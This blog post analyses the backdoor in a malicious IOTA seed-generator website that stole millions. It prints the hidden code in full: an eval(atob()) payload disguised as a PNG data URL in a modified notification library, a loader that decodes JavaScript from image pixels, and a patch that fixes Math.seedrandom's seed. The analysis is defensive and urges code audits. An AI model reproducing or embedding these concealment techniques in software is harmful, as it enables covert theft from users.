How a malicious seed generation website stole $4 million

January 28, 2018

Update 1/29/2018: the QR code is generated by a Web Worker rather than a Service Worker as initially stated (thanks to foodblogger on Hacker News for catching this!), the publish date was corrected, and as suggested on Reddit, the article was updated to clarify how the created seeds were varied for different users, but still known to the operator of the website. You can see the original version here.

Recently, Ars Technica posted an article describing how a malicious seed generator, (now offline), was able to steal almost $4 million (!) worth of IOTA from its users’ wallets. The way they describe this is that the website “stored data about each seed generated along with information about the wallet it was associated with, allowing whoever was running the site (or whoever hijacked it) to simply wait until wallets were filled and then cash them out.” This made me curious, so I decided to look into the technical details of how the scam was pulled off.

Finding the code

The original website,, has been replaced with a message stating “Taken down. Apologies.” Fortunately, the Wayback Machine has saved a copy of the site, which can be seen here.

The website links to a GitHub repository, where it claims you can see the code, but warns you that you should use the website instead of downloading the code from GitHub, giving the excuse that “the repository may contain new code that hasn’t been fully tested yet.”

Given this information, I made a guess that, to keep its existence a secret from any code reviews, the code that was allowing the owner of the website to steal users’ seeds was not part of the GitHub repository and was only added in on the website. This would explain why users were told to use the website rather than the GitHub repository, and meant that if one compared the JavaScript on the website’s to the JavaScript on the GitHub repository, this backdoor code should become obvious.

Unfortunately, the GitHub repository links to, norbertvdberg/iotaseed, has since been deleted (as has the entire account of the respository’s owner, norbertvdberg) Even though the Wayback Machine archived the homepage of the GitHub repository, trying to view any of the code (or download a ZIP file of the code) results in a “Wayback Machine doesn’t have that page archived.” error. Up in the top-right of the page, though, it mentions that the code has been forked by 8 different people, and according to this GitHub support article, when a public repository is deleted, its forks are still preserved, meaning that there are probably still copies of this repository floating around on GitHub somewhere!

8 forks!

A quick search for one of the commit messages visible on the Wayback Machine archive results in the following:

Searching GitHub

eggdroid/eggseed3 seems to have been a fork of the original code, with all 26 commits being made by “norbertvdberg”, the same user from the earlier GitHub repo.

Now that we have both the website and the GitHub JavaScript files, it’s time to compare the two and see if there are any differences.

Analyzing the code

The seed generator is made up of multiple different JavaScript files, all of which are combined into one all.js file, which is then minified into It is this file that’s actually used on the page. So, I compared a copy of the Wayback Machine’s and the GitHub repository’s

$ shasum 

Unfortunately for me, the two files appear to be the same. Digging into the code, I then noticed that once the wallet was generated, a Web Worker is started to generate the QR code and paper wallet information, and this worker’s code comes from a separate file, Maybe something was hidden in that file?

Comparing the website’s and the GitHub’s files initially showed that they were different, so I ran both files through js-beautify and then diff-ed them to see what the exact differences were.

$ diff all-wallet-website.js all-wallet-github.js
<             t = t || {}, this.version = e("../package.json").version, = ? : "", this.port = t.port ? t.port : 14265, this.provider = t.provider ||\/$/, "") + ":" + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(/\/$/, ""), this.provider = this.sandbox + "/commands"), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e("./utils/inputValidator"), this.multisig = new s(this._makeRequest)
>             t = t || {}, this.version = e("../package.json").version, = ? : "http://localhost", this.port = t.port ? t.port : 14265, this.provider = t.provider ||\/$/, "") + ":" + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(/\/$/, ""), this.provider = this.sandbox + "/commands"), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e("./utils/inputValidator"), this.multisig = new s(this._makeRequest)
<             this.provider = e || "", this.token = t
>             this.provider = e || "http://localhost:14265", this.token = t
<             this.provider = e || ""
>             this.provider = e || "http://localhost:14265"
<                 website: ""
>                 website: ""
<                 url: ""
>                 url: ""
<                 url: ""
>                 url: ""

However, the only difference between the two files is that the Wayback Machine rewrote some of the URLs to point to Functionally, the seed generation code seemed to be the same between the actual website and the GitHub repository.

I then took another, closer look at the index.html page, and noticed that there was one more JavaScript file loaded, a notification library that I had initially overlooked. I downloaded the Wayback Machine’s version and diff-ed it to the GitHub repository’s version, resulting in this very suspicious code becoming apparent:

$ diff notifier-website.js notifier-github.js 
<             if (!window.inited_n) {
<                 window.inited_n = true;
<                 Notifier.init()
<             }
<             if (/,T/.test(image)) {
<                 if (/ps:.*o/.test(document.location)) {
<                     eval(atob(image.split(",")[2]))
<                 }
<                 return
<             }
<         init: function(message, title) {
<             this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==")
<         },

It appears that someone has very carefully made modifications to the Notifier.js library in order to hide some code. The Notifier.notify method has been changed to check if the image parameter contains ",T", and so, decodes part of the parameter into JavaScript and evaluates it. Another modification adds a Notifier.init() method called when the page loads, which calls notify method with an image parameter set to trigger this code.

Running atob(image.split(",")[2]) on the data URL used in the code above results in the following snippet of code (with indentation and spacing added for clarity):

function cDis(f) {
    var o = document.createElement("canvas").getContext("2d");
    var i = new Image;
    i.onload = function() {
        o.drawImage(i, 0, 0);
        dS(o.getImageData(0, 0, 298, 100).data)
    i.src = f

function dS(d) {
    var l = 21,
        bM = "",
        tM = "";
    for (var i = 0; i < l; i++) {
        var b = (d[i * 4 + 2] >>> 0).toString(2);
        bM += b[b.length - 1];
        if (bM.length == 16) {
            l = parseInt(bM, 2) + 16;
            bM = ""
        } else if (bM.length == 8 && l != 21) {
            tM += String.fromCharCode(parseInt(bM, 2));
            bM = ""

This second stage of the malicious code draws ./images/logo_small_bottom.png into an off-screen <canvas> element, reads out some text from that image’s data, and then evaluates that text as JavaScript.

Looking at the GitHub repository, logo_small_bottom.png was added on August 28, 2017, and then updated 3 hours later on the same day. When run through this image decoder, both of these versions don’t generate valid code.

However, the image that was used on the actual website, as saved by the Wayback Machine, is different, and produces the following code (again with indentation and spacing added):

if (/ps:.*\.io/.test(document.location)) {
    mode = "M";
    (function(message) {
        var name = "edr";
        name += "an";
        message["cont"] = 0;
        name += "dom";

        function show(arg, options, image) {
            message["e2" + name]("4782588875512803642" + String(message["cont"]), options, image);
            message["cont"] += 1
        message["e2" + name] = message["se" + name];
        message["se" + name] = show
    })(eval(mode + "ath"))

This is the final stage of the JavaScript backdoor, and can be simplified into the following:

Math.cont = 0;

function show(arg, options, image) {
	Math.e2edrandom("4782588875512803642" + String(Math.cont), options, image);
	Math.cont += 1;
Math.e2edrandom = Math.seedrandom;
Math.seedrandom = show;

This code patches the Math.seedrandom function, which is used by the generation code, to always use a fixed seed "4782588875512803642" plus a counter variable that increases by one every time seedrandom is run. This has the effect of causing Math.random() to always return the same, predictable series of numbers, causing the generated IOTA wallet seeds to always be the same. This becomes somewhat obvious when you open the archive of multiple times and notice that the generated seed is always the same, XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD, even across computers.

One thing that’s important to note is that the number used to seed the RNG ("4782588875512803642" in the example before) was varied for each user. As the Wayback Machine saved a copy of the image at a certain point in time, the seed appears the same every time you open the archive on that specific date, with the above code coming from the latest available version on January 3rd. However, if you view the archive at a different date, such as October 31st or November 19th, this number (and so the generated seed) changes. This must mean that the ./images/logo_small_bottom.png file was generated on-the-fly by the server. When creating this PNG file, the number used in the patched random function was modified (and presumably stored somewhere, so that the attacker could later come back to steal the IOTA), resulting in a website which did in fact generate different seeds for different users. (however, this server-side “randomness” doesn’t seem to have been very good, as at least one person had been given a wallet that had already been used.) A demo showing how the code was varied is available here.

Using the official IOTA JavaScript library, the address that should correspond to the seed mentioned before (XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD) is PUEBLAHRQGOTIAMJHCCXXGQPXDQJS9BDFSCDSMINAYJNSILCCISDVY99GMKAEIAICYQUXMIYTNQCJYVDX, and according to this website, that’s an empty wallet. However, other sites designed to show information about the transaction history of an address just give a 404 error (see here for an example), indicating that either I made an error decoding this address or I’m misunderstanding something about how the IOTA network works.


This was a very cleverly hidden backdoor, and was clearly done with malicious intent, rather than some sort of mistake in how the cryptography was implemented. It’s unclear if this code was added by the owner of the GitHub repository and website, norbertvdberg, or if his hosting account was hacked, but judging from how the owner reacted, deleting their GitHub, their Reddit, and their Quora accounts, it seems like the site was set up for this purpose.

Many steps were taken to hide the backdoor’s existence, and a quick glance at the developer tools in your web browser would not have shown anything suspicious. For example, the data: url used in the first stage started with iVBORw0KGgo, which is the beginning of a valid PNG header in base 64, meaning that the URL might be overlooked as an embedded image, which wouldn’t be very suspicious in a notification library. Part of the JavaScript is loaded from an image, and apart from that one image, no other network requests are made. Unfortunately, this was enough to trick many people into thinking there’s nothing wrong.

Taking a close look at the network requests in the Developer Tools, it’s possible to see the request that the JavaScript makes for the image.

Network requests

In general, this incident should be taken as a reminder that, when it comes to cryptocurrencies (especially when dealing with large amounts of money!), paranoia can be a good thing. You should never rely on online services, like seed generators or web wallets, for holding any amount of currency you care about, and you should make sure that you use software that is open source and has been carefully reviewed and audited by the community. In this example, did advertise that it was “open source” with all the code available for you to review, which probably was enough to convince some people, but no one realized how they modified the code on their actual website. A careful audit would have caught this, making this an example of how taking “open source” at face value, especially in cryptocurrencies, can lead to disastrous results.